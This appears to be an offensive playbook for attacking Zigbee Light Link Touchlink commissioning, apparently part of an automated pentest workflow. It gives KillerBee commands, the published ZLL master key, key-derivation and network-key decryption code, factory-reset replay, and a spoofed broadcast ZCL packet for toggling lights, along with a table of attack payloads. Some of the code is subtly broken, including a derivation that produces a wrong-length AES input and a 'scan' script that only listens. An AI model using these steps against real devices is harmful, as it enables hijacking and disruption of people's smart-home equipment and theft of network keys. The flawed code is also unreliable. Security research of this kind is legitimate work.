Zigbee Touchlink Commissioning Abuse
Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism intended for close-proximity pairing (≤20 cm). The procedure relies on a well-known, publicly documented transport key (ZLL Master Key published in the ZigBee Light Link spec). In practice it works at distances of several metres with a directional antenna, allowing an attacker to steal devices off an existing coordinator, factory-reset smart bulbs, or inject ZCL commands without joining the network.
Prerequisites
- Hardware: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based). For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- Firmware options:
- Sniffer: flash
CC2531_sniffer.hex/cc2652_sniffer.hex(TI) — Wireshark source, passive. - Attack: flash
coordinator_20230507.hexfrom Z-Stack 3.x — gives full TX.
- Sniffer: flash
- Software: KillerBee suite, Scapy with
scapy-radio, Python 3.x.
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid
Phase 1: Passive Channel Scan (zbstumbler)
# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15
Key fields to identify in pcap:
- Frame Control =
0x8841(Data, ZigBee, PAN compress) - Cluster ID =
0x1000(ZLL Commissioning cluster) - Command ID =
0x00(Scan Request),0x01(Scan Response),0x07(Touchlink Reset)
Phase 2: Decode the ZLL Well-Known Transport Key
The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
Derive per-device transport key:
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
# transaction_id and response_id come from the Scan Request / Scan Response frames.
Phase 3: Touchlink Scan + Factory Reset
KillerBee includes zbtouchlink (or use the custom script below):
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
# Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOF
Factory reset via zbreplay / custom ZLL Reset-to-factory-new:
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15
Phase 4: ZCL Command Injection (no network join required)
ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast with the source address spoofed. No association to the PAN is required for broadcast delivery on 802.15.4.
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers
# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
destination=0xFFFF, source=0x1234, radius=1) /
ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
bytes([0x01, 0x00, 0x02]) # ZCL: frame ctrl, seq, cmd=Toggle
)
# send via scapy raw socket on the 802.15.4 interface
Known ZCL attack payloads:
| Cluster | Command | Effect |
|---|---|---|
| 0x0006 On/Off | 0x02 Toggle | Flip all lights |
| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |
| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |
| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |
Phase 5: Network Key Extraction via Touchlink
If a Touchlink inter-PAN key transport message is captured, the encrypted NWK key can be decrypted using the derived transport key:
from Crypto.Cipher import AES
def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
cipher = AES.new(transport_key, AES.MODE_ECB)
# ZLL key transport uses AES-ECB on the 16-byte encrypted key material.
return cipher.decrypt(encrypted_key)
With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:
- Edit → Preferences → Protocols → ZigBee → Add decryption key.
Evidence
EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
props={
"key": f"zigbee-touchlink::{pan_id}",
"pan_id": pan_id,
"channel": channel,
"nwk_key_hex": nwk_key.hex() if nwk_key else None,
"touchlink_reset_success": True,
"source": "killerbee+scapy",
},
)
OPSEC Notes
- Factory-reset is destructive and visible — the device drops off the coordinator immediately. Only perform when explicitly authorized.
- ZCL broadcast toggle is detectable by the coordinator as spurious traffic from an unregistered source address.
- Passive sniffing (zbdump) has zero RF footprint beyond receive.
- Touchlink operates in inter-PAN mode: you do NOT need to join the target's PAN to send or receive ZLL commissioning frames.
- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11 (2.405 GHz) is common for home automation. Always scan 11-26.
References
- KillerBee: https://github.com/riverloopsec/killerbee
- Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.
- Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range.
- Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware